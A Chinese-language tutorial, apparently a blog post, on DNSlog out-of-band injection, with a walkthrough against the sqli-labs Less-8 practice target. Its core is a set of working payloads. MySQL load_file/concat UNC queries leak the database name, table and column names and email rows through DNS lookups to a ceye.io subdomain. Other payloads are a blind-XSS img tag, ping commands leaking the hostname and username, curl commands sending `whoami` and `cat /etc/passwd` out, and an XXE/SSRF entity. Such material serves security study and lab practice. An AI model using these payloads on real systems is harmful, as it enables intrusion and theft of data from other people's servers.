0x01 什么是DNSlog注入
DNSlog注入,也叫DNS帶外查詢,它是屬於帶外通信的一種(Out of Band,簡稱OOB)。
尋常的注入基本都是在同一個信道上面的,比如正常的get注入,先在url上插入payload做HTTP請求,然后得到HTTP返回包,沒有涉及其他信道。而所謂的帶外通信,至少涉及兩個信道
信道:在計算機中指通信的通道,是信號傳輸的媒介。
0x02 DNS注入原理
-
攻擊者先向web服務器提交payload語句,比如(
select load_file(concat('\\\\','攻擊語句',.XXX.ceye.io\\abc))
) -
其中的攻擊語句被放到數據庫中會被執行,生成的結果與后面的
.XXX.ceye.io\\abc
構成一個新的域名 -
這時
load_file()
就可以發起請求,那么這一條帶有數據庫查詢結果的域名就被提交到DNS服務器進行解析 -
此時,如果我們可以查看DNS服務器上的Dnslog就可以得到SQL注入結果。那么我們如何獲得這條DNS查詢記錄呢?注意注入語句中的
ceye.io
,這其實是一個開放的Dnslog平台(具體用法在官網可見),在http://ceye.io上我們可以獲取到有關ceye.io
的DNS查詢信息。實際上在域名解析的過程中,是由頂級域名向下逐級解析的,我們構造的攻擊語句也是如此,當它發現域名中存在ceye.io
時,它會將這條域名信息轉到相應的NS服務器上,而通過http://ceye.io我們就可以查詢到這條DNS解析記錄。當然還有其他可以使用的DNSlog平台,如http://www.dnslog.cn/。
這里我就使用http://ceye.io, 它是一個免費的記錄dnslog的平台,注冊后到Profile頁面會給你一個二級域名:xxx.ceye.io,當我們把注入信息放到三級域名那里,后台的日志會記錄下來。
0x03 使用場景和條件
sql的布爾型盲注、時間注入的效率普遍很低且當注入的線程太大容易被waf攔截,並且像一些命令執行,xss以及sql注入攻擊有時無法看到回顯結果,這時就可以考慮DNSlog注入攻擊
一共是這四個場景:
- SQL盲注
- 命令執行(無回顯)
- XSS(無回顯)
- SSRF(無回顯)
但有個重要條件:load_file()函數可以使用。
也就是說需要配置文件my.ini中secure_file_priv=
secure_file_priv配置說明
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
在mysql命令行中使用show variables like '%secure%';
可以查看secure_file_priv的情況
值為空,說明可以使用load_file()函數
另外還有幾個注意事項:
-
dnslog注入只能用於windows平台,因為load_file這個函數的主要目的還是讀取本地的文件,所以我們在拼接的時候需要在前面加上兩個//,這兩個斜杠的目的是為了使用load_file可以查詢的unc路徑。但是Linux服務器沒有unc路徑,也就無法使用dnslog注入。
-
在進行注入的時候,需要先使用測試代碼判斷該位置是否存在注入,然后再在后面拼接代碼,因為對照pyload進行輸入的話,可能會出現dnslog網站接收不到的情況。
-
在域名的后面,我們需要拼接一個文件名,這是因為load_file函數只能請求文件,如果不加后面的文件名,同樣無法得到顯示。
以下內容摘自百度:
什么是UNC路徑?
UNC(Universal Naming Convention),通用命名規則
什么是UNC路徑?UNC路徑就是類似
\\softer
這樣的形式的網絡路徑。UNC為網絡(主要指局域網)上資源的完整Windows 2000名稱。
格式:
\\servername\sharename
,其中servername是服務器名。sharename是共享資源的名稱。目錄或文件的UNC名稱可以包括共享名稱下的目錄路徑,格式為:\servername\sharename\directory\filename。
0x04 配合sql注入
這里我以sqlilabs靶場的lesson-8為例,是sql盲注,注入后不會有回顯,那就用剛學的DNSlog來解決!!
- 首先報庫名:
payload1:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))--+
說明:
concat 可以拼接字符
load_file()讀取文件
\\\\ 有兩個\用於轉義,轉義后代表\\
在自己的ceye.io平台上查看DNSquery,發現解析記錄,可以看到數據庫名security
- 再報表名
payload2:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io\\abc'))--+
可以看到一個emails表
- 再報列名
payload3:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 0,1),'.xxx.ceye.io\\abc'))--+
payload4:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 0,1),'.xxx.ceye.io\\abc'))--+
分別看到兩個列
- 報數據:
因為在load_file里面不能使用@ ~等符號,所以要區分數據我們可以先用concat_ws()函數分割,再用hex()函數轉成十六進制即可
得到結果再轉回去
payload5:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select hex(concat_ws('~',id,email_id)) from emails limit 0,1),'.xxx.ceye.io\\abc'))--+
以上就是DNSlog注入的全部流程
注入期間我發現,可以將多個payload查詢拼接在一起,比如如下注入方法:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(select database()),'.',(select version()),'.xxx.ceye.io\\abc'))--+
效果如下:
通式:
http://127.0.0.3/Less-8/?id=1' and load_file(concat('\\\\',(payload1),'.',(payload2),(......),'.xxx.ceye.io\\abc'))--+
0x05 配合其他攻擊
- xss
除了SQL注入,DNSlog注入還可以配合其他漏洞使用,比如xss
通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:
payload:><img src=http://xss.xxx.ceye.io/aaa>
讓src來請求我們的dnslog的平台
- 命令執行
說到命令執行,這里就要分windows平台和linux平台
- 在windows平台,利用ping命令,有如下payload
ping %COMPUTERNAME%.xxx.ceye.io
或者
ping %USERNAME%.xxx.ceye.io
執行成功,可以在dns平台上看到主機名或用戶名
- 在linux平台,利用curl命令,有如下payload
curl http://ip.port.xxx.ceye.io/`whoami`
curl http://ip.port.xxx.ceye.io/`cat /etc/passwd`
反引號中可以寫入各種linux命令
- SSRF
payload如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip.port.xxx.ceye.io/xxe_test">
%remote;]>
<root/>
其實也算是和XXE配合使用
以上這些payload都可以在http://ceye.io/payloads中看到
參考文章: